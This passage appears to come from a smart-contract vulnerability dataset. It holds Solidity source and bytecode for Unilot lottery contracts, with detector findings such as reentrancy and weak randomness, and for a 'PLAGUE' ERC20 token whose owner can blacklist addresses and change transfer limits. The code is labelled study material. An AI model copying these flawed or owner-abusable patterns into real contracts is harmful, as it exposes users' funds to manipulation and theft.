numFixedAmountWinners); } function getPrizeAmount() public constant returns (uint result) { uint totalAmount = this.balance; if ( state == State.ENDED ) { totalAmount = bet * ticketIndex.length; } result = calculator.getPrizeAmount(totalAmount); return result; } function getStat() public constant returns ( uint, uint, uint ) { var (numWinners, numFixedAmountWinners) = getNumWinners(); return (ticketIndex.length, getPrizeAmount(), uint(numWinners + numFixedAmountWinners)); } function calcaultePrizes() public returns(uint[] memory result) { var(numWinners, numFixedAmountWinners) = getNumWinners(); uint16 totalNumWinners = uint16( numWinners + numFixedAmountWinners ); result = new uint[]( totalNumWinners ); uint[50] memory prizes = calculator.calcaultePrizes( bet, ticketIndex.length); for (uint16 i = 0; i < totalNumWinners; i++) { result[i] = prizes[i]; } return result; } function revoke() public onlyAdministrator activeGame { for (uint24 i = 0; i < ticketIndex.length; i++) { ticketIndex[i].transfer(bet); } state = State.REVOKED; } } contract UnilotTailEther is BaseUnilotGame { uint64 winnerIndex; //Public methods function UnilotTailEther(uint betAmount, address calculatorContractAddress) public { state = State.ACTIVE; administrator = msg.sender; bet = betAmount; calculator = UnilotPrizeCalculator(calculatorContractAddress); GameStarted(betAmount); } function getWinners() public view finishedGame returns(address[] memory players, uint[] memory prizes) { var(numWinners, numFixedAmountWinners) = getNumWinners(); uint totalNumWinners = numWinners + numFixedAmountWinners; players = new address[](totalNumWinners); prizes = new uint[](totalNumWinners); uint index; for (uint i = 0; i < totalNumWinners; i++) { if ( i > winnerIndex ) { index = ( ( players.length ) - ( i - winnerIndex ) ); } else { index = ( winnerIndex - i ); } players[i] = ticketIndex[index]; prizes[i] = tickets[players[i]].prize; } return (players, prizes); } function () public payable validBet onlyPlayer { require(tickets[msg.sender].block_number == 0); require(ticketIndex.length <= 1000); tickets[msg.sender].block_number = uint40(block.number); tickets[msg.sender].block_time = uint32(block.timestamp); ticketIndex.push(msg.sender); NewPlayerAdded(ticketIndex.length, getPrizeAmount()); } function finish() public onlyAdministrator activeGame { uint64 max_votes; uint64[] memory num_votes = new uint64[](ticketIndex.length); for (uint i = 0; i < ticketIndex.length; i++) { TicketLib.Ticket memory ticket = tickets[ticketIndex[i]]; uint64 vote = uint64( ( ( ticket.block_number * ticket.block_time ) + uint( ticketIndex[i]) ) % ticketIndex.length ); num_votes[vote] += 1; if ( num_votes[vote] > max_votes ) { max_votes = num_votes[vote]; winnerIndex = vote; } } uint[] memory prizes = calcaultePrizes(); uint lastId = winnerIndex; for ( i = 0; i < prizes.length; i++ ) { tickets[ticketIndex[lastId]].prize = prizes[i]; ticketIndex[lastId].transfer(prizes[i]); if ( lastId <= 0 ) { lastId = ticketIndex.length; } lastId -= 1; } administrator.transfer(this.balance); state = State.ENDED; GameFinished(ticketIndex[winnerIndex]); } } contract UnilotBonusTailEther is BaseUnilotGame { mapping (address => TicketLib.Ticket[]) public tickets; mapping (address => uint) _prize; uint16 numTickets; uint64 winnerIndex; function UnilotBonusTailEther(address calculatorContractAddress) public payable { state = State.ACTIVE; administrator = msg.sender; calculator = UnilotPrizeCalculator(calculatorContractAddress); GameStarted(0); } function importPlayers(address game, address[] players) public onlyAdministrator { UnilotTailEther _game = UnilotTailEther(game); for (uint8 i = 0; i < uint8(players.length); i++) { TicketLib.Ticket memory ticket; var(block_number, block_time, prize) = _game.getPlayerDetails(players[i]); if (prize > 0) { continue; } ticket.block_number = uint40(block_number); ticket.block_time = uint32(block_time); if ( tickets[players[i]].length == 0 ) { ticketIndex.push(players[i]); } tickets[players[i]].push(ticket); numTickets++; } } function getPlayerDetails(address player) public view inactiveGame returns (uint, uint, uint) { player; return (0, 0, 0); } function () public payable onlyAdministrator { } function getPrizeAmount() public constant returns (uint result) { return this.balance; } function calcaultePrizes() public returns(uint[] memory result) { var(numWinners, numFixedAmountWinners) = getNumWinners(); uint16 totalNumWinners = uint16( numWinners + numFixedAmountWinners ); result = new uint[]( totalNumWinners ); uint[50] memory prizes = calculator.calcaultePrizes( getPrizeAmount()/ticketIndex.length, ticketIndex.length); for (uint16 i = 0; i < totalNumWinners; i++) { result[i] = prizes[i]; } return result; } function getWinners() public view finishedGame returns(address[] memory players, uint[] memory prizes) { var(numWinners, numFixedAmountWinners) = getNumWinners(); uint totalNumWinners = numWinners + numFixedAmountWinners; players = new address[](totalNumWinners); prizes = new uint[](totalNumWinners); uint index; for (uint i = 0; i < totalNumWinners; i++) { if ( i > winnerIndex ) { index = ( ( players.length ) - ( i - winnerIndex ) ); } else { index = ( winnerIndex - i ); } players[i] = ticketIndex[index]; prizes[i] = _prize[players[i]]; } return (players, prizes); } function finish() public onlyAdministrator activeGame { uint64 max_votes; uint64[] memory num_votes = new uint64[](ticketIndex.length); for (uint i = 0; i < ticketIndex.length; i++) { for (uint8 j = 0; j < tickets[ticketIndex[i]].length; j++) { TicketLib.Ticket memory ticket = tickets[ticketIndex[i]][j]; uint64 vote = uint64( ( ( ( ticket.block_number * ticket.block_time ) / numTickets ) + (((block.number/2) * now) / (numTickets/2)) + uint( ticketIndex[i]) ) % ticketIndex.length ); num_votes[vote] += 1; if ( num_votes[vote] > max_votes ) { max_votes = num_votes[vote]; winnerIndex = vote; } } } uint[] memory prizes = calcaultePrizes(); uint lastId = winnerIndex; for ( i = 0; i < prizes.length; i++ ) { _prize[ticketIndex[lastId]] = prizes[i]; ticketIndex[lastId].transfer(prizes[i]); if ( lastId <= 0 ) { lastId = ticketIndex.length; } lastId -= 1; } administrator.transfer(this.balance); //For case of misscalculation state = State.ENDED; GameFinished(ticketIndex[winnerIndex]); } function revoke() public onlyAdministrator activeGame { administrator.transfer(this.balance); state = State.REVOKED; } }
0x6060604052600436106100ab5763ffffffff60e060020a6000350416631865c57d81146100cd57806320835e8c146101045780632b71b0e51461012957806339624847146101605780634e989a5b1461018b5780638b5b9ccc146101e857806398db173f1461024e578063b6549f7514610261578063c8dd6ce714610274578063d56b288914610293578063dae7a13c146102a6578063df15c37e146102f9578063ecca9c2e146103a5575b60005433600160a060020a0390811661010090920416146100cb57600080fd5b005b34156100d857600080fd5b6100e06103b8565b604051808260048111156100f057fe5b60ff16815260200191505060405180910390f35b341561010f57600080fd5b6101176103c2565b60405190815260200160405180910390f35b341561013457600080fd5b61013c6103c8565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561016b57600080fd5b6101736103f5565b60405191825260208201526040908101905180910390f35b341561019657600080fd5b6100cb60048035600160a060020a031690604460248035908101908301358060208082020160405190810160405280939291908181526020018383602002808284375094965061048595505050505050565b34156101f357600080fd5b6101fb6106fe565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561023a578082015183820152602001610222565b505050509050019250505060405180910390f35b341561025957600080fd5b6101fb610766565b341561026c57600080fd5b6100cb61089d565b341561027f57600080fd5b61013c600160a060020a0360043516610926565b341561029e57600080fd5b6100cb610955565b34156102b157600080fd5b6102c8600160a060020a0360043516602435610dbe565b60405164ffffffffff909316835263ffffffff90911660208301526040808301919091526060909101905180910390f35b341561030457600080fd5b61030c610e10565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610350578082015183820152602001610338565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561038f578082015183820152602001610377565b5050505090500194505050505060405180910390f35b34156103b057600080fd5b610117610f9d565b60005460ff165b90565b60015490565b60008060008060006103d86103f5565b60035491935091506103e8610f9d565b9096909550910192509050565b600454600354600091829182918291600160a060020a03909116906386a8da3790836040516040015260405160e060020a63ffffffff841602815260048101919091526024016040805180830381600087803b151561045357600080fd5b6102c65a03f1151561046457600080fd5b505050604051805190602001805161ffff9283169792169550909350505050565b600080610490610fab565b600080548190819033600160a060020a0390811661010090920416146104b557600080fd5b879550600094505b865160ff168560ff1610156106f45785600160a060020a031663c8dd6ce7888760ff16815181106104ea57fe5b9060200190602002015160006040516060015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401606060405180830381600087803b151561053b57600080fd5b6102c65a03f1151561054c57600080fd5b505050604051805190602001805190602001805190509250925092506000811115610576576106e9565b64ffffffffff8316845263ffffffff82166020850152600560008860ff88168151811061059f57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205415156106295760038054600181016105db8382610fcb565b91600052602060002090016000898860ff16815181106105f757fe5b90602001906020020151909190916101000a815481600160a060020a030219169083600160a060020a03160217905550505b60056000888760ff168151811061063c57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002080546001810161066f8382610ff4565b600092835260209092208691600202018151815464ffffffffff191664ffffffffff919091161781556020820151815463ffffffff91909116650100000000000268ffffffff00000000001990911617815560408201516001918201556007805461ffff19811661ffff9182169093011691909117905550505b6001909401936104bd565b5050505050505050565b610706611020565b600380548060200260200160405190810160405280929190818152602001828054801561075c57602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161073e575b5050505050905090565b61076e611020565b600080600061077b611032565b60006107856103f5565b9450945083850192508261ffff166040518059106107a05750595b9080825280602002602001820160405250600454600354919750600160a060020a0316906373de3570906107d2610f9d565b8115156107db57fe5b046003805490506000604051610640015260405160e060020a63ffffffff85160281526004810192909252602482015260440161064060405180830381600087803b151561082857600080fd5b6102c65a03f1151561083957600080fd5b50505060405180610640016040529150600090505b8261ffff168161ffff161015610895578161ffff82166032811061086e57fe5b6020020151868261ffff168151811061088357fe5b6020908102909101015260010161084e565b505050505090565b60005433600160a060020a0390811661010090920416146108bd57600080fd5b6000805460ff1660048111156108cf57fe5b146108d957600080fd5b600054600160a060020a0361010090910481169030163180156108fc0290604051600060405180830381858888f19350505050151561091757600080fd5b6000805460ff19166003179055565b600080808060005460ff16600481111561093c57fe5b141561094757600080fd5b506000938493508392509050565b600061095f611020565b60008061096a610fab565b6000610974611020565b6000805433600160a060020a03908116610100909204161461099557600080fd5b6000805460ff1660048111156109a757fe5b146109b157600080fd5b6003546040518059106109c15750595b90808252806020026020018201604052509650600095505b600354861015610bfc57600094505b600560006003888154811015156109fb57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff86161015610bf15760056000600388815481101515610a3d57fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020805460ff8716908110610a7057fe5b906000526020600020906002020160606040519081016040908152825464ffffffffff8116835265010000000000900463ffffffff166020830152600190920154918101919091526003805491955087828110610ac957fe5b600091825260209091200154600754600160a060020a039091169060029061ffff160461ffff16426002430402811515610aff57fe5b6007549190049061ffff16602088015163ffffffff1688510264ffffffffff16811515610b2857fe5b0464ffffffffff160101811515610b3b57fe5b0692506001878467ffffffffffffffff1681518110610b5657fe5b90602001906020020181815167ffffffffffffffff9101811690915289811691508890851681518110610b8557fe5b9060200190602002015167ffffffffffffffff161115610be657868367ffffffffffffffff1681518110610bb557fe5b906020019060200201516007805469ffffffffffffffff000019166201000067ffffffffffffffff87160217905597505b6001909401936109e8565b6001909501946109d9565b610c04610766565b6007546000975090925062010000900467ffffffffffffffff1690505b8151861015610cf657818681518110610c3657fe5b9060200190602002015160066000600384815481101515610c5357fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020556003805482908110610c8657fe5b600091825260209091200154600160a060020a03166108fc838881518110610caa57fe5b906020019060200201519081150290604051600060405180830381858888f193505050501515610cd957600080fd5b60008111610ce657506003545b6001959095019460001901610c21565b600054600160a060020a0361010090910481169030163180156108fc0290604051600060405180830381858888f193505050501515610d3457600080fd5b6000805460ff19166001179055600754600380547f1728dd43546edd06fabfe796e5b641a151aa90998bfd1b1ec0ae98c6e77084599267ffffffffffffffff6201000090910416908110610d8457fe5b600091825260209091200154600160a060020a0316604051600160a060020a03909116815260200160405180910390a15050505050505050565b600560205281600052604060002081815481101515610dd957fe5b60009182526020909120600290910201805460019091015464ffffffffff821693506501000000000090910463ffffffff16915083565b610e18611020565b610e20611020565b600080808080600160005460ff166004811115610e3957fe5b14610e4357600080fd5b610e4b6103f5565b94509450838501925082604051805910610e625750595b9080825280602002602001820160405250965082604051805910610e835750595b90808252806020026020018201604052509550600090505b82811015610f945760075462010000900467ffffffffffffffff16811115610edc5760075462010000900467ffffffffffffffff1681038751039150610ef5565b60075462010000900467ffffffffffffffff1681900391505b6003805483908110610f0357fe5b600091825260209091200154600160a060020a0316878281518110610f2457fe5b600160a060020a0390921660209283029091019091015260066000888381518110610f4b57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054868281518110610f8257fe5b60209081029091010152600101610e9b565b50505050509091565b600160a060020a0330163190565b606060405190810160409081526000808352602083018190529082015290565b815481835581811511610fef57600083815260209020610fef91810190830161105a565b505050565b815481835581811511610fef57600202816002028360005260206000209182019101610fef9190611078565b60206040519081016040526000815290565b6106406040519081016040526032815b60008152602001906001900390816110425790505090565b6103bf91905b808211156110745760008155600101611060565b5090565b6103bf91905b8082111561107457805468ffffffffffffffffff191681556000600182015560020161107e5600a165627a7a723058200e1c72d9e37a5b91711944b58a18ba44a6f7bd9468f7038571a72a9bd173ff490029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,067
0x91a1af8efcf1adbc47a0651e4d5ed19da0e4c2d8
/** //SPDX-License-Identifier: UNLICENSED */ /** Telegram: https://t.me/plaguedoctortoken TEH EYES TO SEE... AND THE EARS TO HEAR. %.,*,.. ./#,.*(. %@@@@@&&&%%##(#%##@#/.@( #@&&%(,*%/,* /,* *. .((//# * &@@@@%#(,(/*.*../,.%(**(,,.,/ /#((/(/,#,,*#.#,/&@%##*,,,,*#, /*.* ,@@@@@@@@@@@@@@@@@@@/#&@@&&@@%/ #(@/(( (#@@(#,##%@@@,(%**%@@,(@@,&&@@@@@@(,/ @%*@(@@%##/. ..##@#(@#/&#&&#@@@@@@@@@&., (*%, /(%@@@@ &** @*@,%*,&#*&(@@@@@@@@@@@@@&* (/ (**,//*,(*(/%%#%//. @/(@#(/#%(# /*(%(*,/. . ./ *,/*, *,/..@..#%%.&((&%# /(/#.,(. . **., ...// ((*,..@ ,# #&/*&#.( /&*(@@* #@@@@@@@@@/#@ ,..#.. *#,(, &%@@@@@&@@( , ./#*.@&/. @##&&##**, /@%%(*,/#*,/ .@@@.&/#%&@&&@@%*,, ,,*,./ *%@&%@@@&#%(#&@@@&%@&*.(&@@%/..,*,/*,/( &%&/%@@@@@@@&&&&/,//%&#((./,* ..//./&&(**,/,/./# %&#%*#(/.,%@@@@@@%%(./.,#,* ./*(%&,%@@#**//*,* , * (@@((.*./(%%#%#(#%@@@//*.,(..,#*,/#@&*****,/*//*,*.# @&#%@#%,,. .**., ..*@@,*,(* /(.,@#(,/* ,.#/(((#./@&# @@&.%(&@(/*.(, .(%#&%%#(/%#/(/.&#/#. *&#&/&#*(@&#,*# %@@@%&(* .*.*((///,,. * /(/../(,&% ,&,%@&@#,&&#,*,/(* .* #@(&(,#/@&#/& (*,/(#*#. .,../ ,(,.**,%@%/%@&#..( ./(*.., #(. ,..(, /((.*,/,.//,*.*,/#/,*./#**( @%%/,/&%*%%***./ .(*,,#%.,%&,*(( * *(((*,/.&(*%.,(/./#,(#(*. ,%#(%(# ,/(*,. ,(,((, */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PLAGUE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isExcludedFromLimit; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public swapThreshold = 100_000_000 * 10**9; uint256 private _reflectionFee = 0; uint256 private _teamFee = 11; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "PlagueDoctorToken"; string private constant _symbol = "PLAGUE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; bool private cooldownEnabled; uint256 private _maxTxAmount = 60_000_000_000 * 10**9; uint256 private _maxWalletAmount = 120_000_000_000 * 10**9; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address wallet1, address wallet2) { _feeAddrWallet1 = payable(wallet1); _feeAddrWallet2 = payable(wallet2); _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[_feeAddrWallet1] = true; isExcludedFromFee[_feeAddrWallet2] = true; isExcludedFromLimit[owner()] = true; isExcludedFromLimit[address(this)] = true; isExcludedFromLimit[address(0xdead)] = true; isExcludedFromLimit[_feeAddrWallet1] = true; isExcludedFromLimit[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) { require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit"); } if (!isExcludedFromLimit[to]) { require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedFromLimit[address(uniswapV2Router)] = true; isExcludedFromLimit[uniswapV2Pair] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function changeMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount; } function changeMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount; } function changeSwapThreshold(uint256 amount) public onlyOwner { swapThreshold = amount; } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; } function excludeFromLimits(address account, bool excluded) public onlyOwner { isExcludedFromLimit[account] = excluded; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rReflect, tReflect); emit Transfer(sender, recipient, tTransferAmount); } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate); return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam); } function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tReflect = tAmount.mul(reflectFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam); return (tTransferAmount, tReflect, tTeam); } function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rReflect = tReflect.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam); return (rAmount, rTransferAmount, rReflect); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf9146104a6578063d94160e0146104bb578063dd62ed3e146104eb578063f42938901461053157600080fd5b8063b515566a14610446578063c024666814610466578063c0a904a21461048657600080fd5b8063715018a61461038457806381bfdcca1461039957806389f425e7146103b95780638da5cb5b146103d957806395d89b41146103f7578063a9059cbb1461042657600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102f45780635932ead114610324578063677daa571461034457806370a082311461036457600080fd5b8063313ce5671461028b57806349bd5a5e146102a757806351bc3c85146102df57600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101fd57806318160ddd1461022d57806323b872dd14610249578063273123b71461026957600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b50604080518082019091526011815270283630b3bab2a237b1ba37b92a37b5b2b760791b60208201525b6040516101b19190611cf1565b34801561020957600080fd5b5061021d610218366004611b78565b610546565b60405190151581526020016101b1565b34801561023957600080fd5b50683635c9adc5dea000006101a7565b34801561025557600080fd5b5061021d610264366004611b09565b61055d565b34801561027557600080fd5b50610289610284366004611a96565b6105c6565b005b34801561029757600080fd5b50604051600981526020016101b1565b3480156102b357600080fd5b506011546102c7906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102eb57600080fd5b5061028961061a565b34801561030057600080fd5b5061021d61030f366004611a96565b60056020526000908152604090205460ff1681565b34801561033057600080fd5b5061028961033f366004611c70565b610653565b34801561035057600080fd5b5061028961035f366004611caa565b61069b565b34801561037057600080fd5b506101a761037f366004611a96565b6106ca565b34801561039057600080fd5b506102896106ec565b3480156103a557600080fd5b506102896103b4366004611caa565b610760565b3480156103c557600080fd5b506102896103d4366004611caa565b61078f565b3480156103e557600080fd5b506000546001600160a01b03166102c7565b34801561040357600080fd5b50604080518082019091526006815265504c4147554560d01b60208201526101f0565b34801561043257600080fd5b5061021d610441366004611b78565b6107be565b34801561045257600080fd5b50610289610461366004611ba4565b6107cb565b34801561047257600080fd5b50610289610481366004611b4a565b610861565b34801561049257600080fd5b506102896104a1366004611b4a565b6108b6565b3480156104b257600080fd5b5061028961090b565b3480156104c757600080fd5b5061021d6104d6366004611a96565b60066020526000908152604090205460ff1681565b3480156104f757600080fd5b506101a7610506366004611ad0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053d57600080fd5b50610289610cf6565b6000610553338484610d20565b5060015b92915050565b600061056a848484610e44565b6105bc84336105b785604051806060016040528060288152602001611edd602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061128a565b610d20565b5060019392505050565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611d46565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063a57600080fd5b6000610645306106ca565b9050610650816112c4565b50565b6000546001600160a01b0316331461067d5760405162461bcd60e51b81526004016105f090611d46565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016105f090611d46565b601255565b6001600160a01b0381166000908152600260205260408120546105579061144d565b6000546001600160a01b031633146107165760405162461bcd60e51b81526004016105f090611d46565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b81526004016105f090611d46565b601355565b6000546001600160a01b031633146107b95760405162461bcd60e51b81526004016105f090611d46565b600b55565b6000610553338484610e44565b6000546001600160a01b031633146107f55760405162461bcd60e51b81526004016105f090611d46565b60005b815181101561085d5760016007600084848151811061081957610819611e8d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085581611e5c565b9150506107f8565b5050565b6000546001600160a01b03163314610